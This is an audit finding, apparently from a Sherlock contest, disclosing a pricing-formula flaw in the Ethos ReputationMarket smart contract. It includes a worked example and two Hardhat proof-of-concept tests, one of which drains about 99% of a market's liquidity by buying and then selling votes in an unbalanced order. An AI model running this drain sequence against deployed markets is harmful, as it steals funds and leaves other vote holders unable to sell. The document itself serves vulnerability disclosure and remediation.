Skip to content

Latest commit

 

History

History
194 lines (135 loc) · 8.51 KB

File metadata and controls

194 lines (135 loc) · 8.51 KB

Itchy Ginger Loris

High

Market liquidity can be drained due to inefficient pricing formula

Summary

Unlike constant formula AMMs, the Ethos pricing formula is designed to maintain a constant base price, not reserves/liquidity. That leads to the possibility of stealing market liquidity by manipulating the supply of votes. By creating an imbalanced position of trusted and distrusted votes, an attacker can craft a state where they can gain more from selling than was spent on them.

That leads to stolen market liquidity and, as a result, the inability of other vote holders to sell their votes.

Additionally, that breaks the following README's statement:

Reputation Markets must never sell the initial votes. They must never pay out the initial liquidity deposited. The only way to access those funds is to graduate the market.

Vulnerability Detail

As can be seen from the code snippet below, this formula ensures that at any point of time, prices of trusted votes and distrusted votes sum up to basePrice:

File: /ethos/packages/contracts/contracts/ReputationMarket.sol#L920

  function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) {
    uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST];
    return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes;
  }

However, this formula doesn't account for market liquidity (which is tracked via the marketFunds[profileId] variable), making it susceptible to manipulations.

Proof of Concept

Given the market created with 2 votes and 1 ETH basePrice:

  1. User buys 1 distrust vote, price = 1.0 ETH * 1 / 2 = 0.5 ETH

  2. User buys 1st trust vote , price = 1.0 ETH * 1 / 3 = 0.333 ETH

  3. User buys 2nd trust vote , price = 1.0 ETH * 2 / 4 = 0.5 ETH Total spent: 1.333 ETH

  4. User sells distrust vote, price = 1.0 ETH * 1 / 4 = 0.25 ETH

  5. User sells 1st trust vote, price = 1.0 ETH * 2 / 3 = 0.66 ETH

  6. User sells 2nd trust vote, price = 1.0 ETH * 1 / 2 = 0.5 ETH Total received: 1.416 ETH

User gains (and thus the market loses): 0.083 ETH

Coded PoC #1

This PoC follows the same example as mentioned in the section above.

Insert new test into "Very high price limits" section of the file https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/test/reputationMarket/rep.price.test.ts#L135:

    it("market_drained_poc1", async () => {
      const userBalanceBefore = await ethers.provider.getBalance(userA.signer.address);
      console.log(`UserA balance (initial)      : ${ethers.formatEther(userBalanceBefore)}`);
      console.log(`market liquidity (initial)   : ${ethers.formatEther(await reputationMarket.marketFunds(DEFAULT.profileId))}`);

      // buy 1 distrust
      await userA.buyVotes({ profileId: DEFAULT.profileId, buyAmount: ethers.parseEther("1"), isPositive: false });
      let votesOwned = await reputationMarket.getUserVotes(userA.signer.address, DEFAULT.profileId);

      // buy trust
      await userA.buyVotes({ profileId: DEFAULT.profileId, buyAmount: ethers.parseEther("0.6"), isPositive: true });
      await userA.buyVotes({ profileId: DEFAULT.profileId, buyAmount: ethers.parseEther("0.6"), isPositive: true });
      votesOwned = await reputationMarket.getUserVotes(userA.signer.address, DEFAULT.profileId);

      // sell distrust
      await userA.sellVotes({ profileId: DEFAULT.profileId, sellVotes: votesOwned.distrustVotes, isPositive: false });
      votesOwned = await reputationMarket.getUserVotes(userA.signer.address, DEFAULT.profileId);

      // sell trust     
      await userA.sellVotes({ profileId: DEFAULT.profileId, sellVotes: BigInt(1) /*votesOwned.trustVotes*/, isPositive: true });
      await userA.sellVotes({ profileId: DEFAULT.profileId, sellVotes: BigInt(1) /*votesOwned.trustVotes*/, isPositive: true });
      votesOwned = await reputationMarket.getUserVotes(userA.signer.address, DEFAULT.profileId);
      const userBalanceAfterSell2 = await ethers.provider.getBalance(userA.signer.address);
      console.log(`UserA balance: ${ethers.formatEther(userBalanceAfterSell2)}; gain : ${ethers.formatEther(userBalanceAfterSell2 - userBalanceBefore)}`)
      console.log(`market liquidity             : ${ethers.formatEther(await reputationMarket.marketFunds(DEFAULT.profileId))}`);
    });

Result:

$ npx hardhat test --grep "market_drained_poc1"


  ReputationMarket Base Price Tests
    Very high price limits
UserA balance (initial)      : 2000.0
market liquidity (initial)   : 1.0
UserA balance: 2000.08245115269279307; gain : 0.08245115269279307
market liquidity             : 0.916666666666666667
      ✔ market_drained_poc1 (62ms)


  1 passing (2s)

Coded PoC #2

This PoC demonstrates how 99% of market liquidity can be stolen.

Insert new test into "Very high price limits" section of the file https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/test/reputationMarket/rep.price.test.ts#L135:

 it("market_drained_poc2", async () => {
      const amounToSpend_N = ethers.parseEther('100');
      const amounToSpend_P = ethers.parseEther('220');
      console.log(`market liquidity (initial)   : ${ethers.formatEther(await reputationMarket.marketFunds(DEFAULT.profileId))}`);
    
      const userBalanceBefore = await ethers.provider.getBalance(userA.signer.address);
      console.log(`UserA balance (initial)      : ${ethers.formatEther(userBalanceBefore)}`);

      // buy negative shares
      await userA.buyVotes({ profileId: DEFAULT.profileId, buyAmount: amounToSpend_N, isPositive: false });

      // buy positive shares
      await userA.buyVotes({ profileId: DEFAULT.profileId, buyAmount: amounToSpend_P, isPositive: true });

      const userBalanceAfterBuy = await ethers.provider.getBalance(userA.signer.address);
      console.log(`UserA balance after purchases: ${ethers.formatEther(userBalanceAfterBuy)}`);

      let votesOwned = await reputationMarket.getUserVotes(userA.signer.address, DEFAULT.profileId);

      // sell negative shares
      await userA.sellVotes({ profileId: DEFAULT.profileId, sellVotes: votesOwned.distrustVotes, isPositive: false });

      const marketLiq = await reputationMarket.marketFunds(DEFAULT.profileId);
      console.log(`market liquidity (neg sold)  : ${ethers.formatEther(marketLiq)}`);

      // finding out how many positive votes we can sell without reverting due to arithmetic underflow
      let maxSell = Number(votesOwned.trustVotes);
      let minSell = 0;

      let sell = 0;
      while (minSell <= maxSell) { // binary search
        sell = minSell + Math.trunc((maxSell - minSell) / 2);

        let res = await reputationMarket.connect(userA.signer).simulateSell(DEFAULT.profileId, true, sell);
        if (res.fundsReceived > marketLiq) {
          maxSell = sell - 1;
        } else {
          minSell = sell + 1;
          res = await reputationMarket.connect(userA.signer).simulateSell(DEFAULT.profileId, true, minSell);
          if (res.fundsReceived >= marketLiq) break;
        }
      }

      console.log(`max sell votes count: ${sell}`);
      await userA.sellVotes({ profileId: DEFAULT.profileId, sellVotes: BigInt(sell), isPositive: true });
      console.log(`market liquidity (pos sold)  : ${ethers.formatEther(await reputationMarket.marketFunds(DEFAULT.profileId))}`);
    
      const userBalanceFinal = await ethers.provider.getBalance(userA.signer.address);
      console.log(`UserA balance (final))       : ${ethers.formatEther(userBalanceFinal)}`);
      console.log(`UserA profit                 : ${ethers.formatEther(userBalanceFinal - userBalanceBefore)}`);
    });

Result:

$ npx hardhat test --grep "market_drained_poc2"


  ReputationMarket Base Price Tests
    Very high price limits
market liquidity (initial)   : 1.0
UserA balance (initial)      : 2000.0
UserA balance after purchases: 1680.513571558216838385
market liquidity (neg sold)  : 308.332301763408691446
max sell votes count: 310
market liquidity (pos sold)  : 0.006707300639778622
UserA balance (final))       : 2000.991118144525447625
UserA profit                 : 0.991118144525447625
      ✔ market_drained_poc2 (389ms)


  1 passing (2s)

Impact

  • Market funds drained
  • Other vote holders cannot sell.

Code Snippet

https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L920-L923

Recommendation

Reconsider the formula, it must account for the available liquidity and should not allow it to be drained. Constant basePrice must not play important role in the new formula.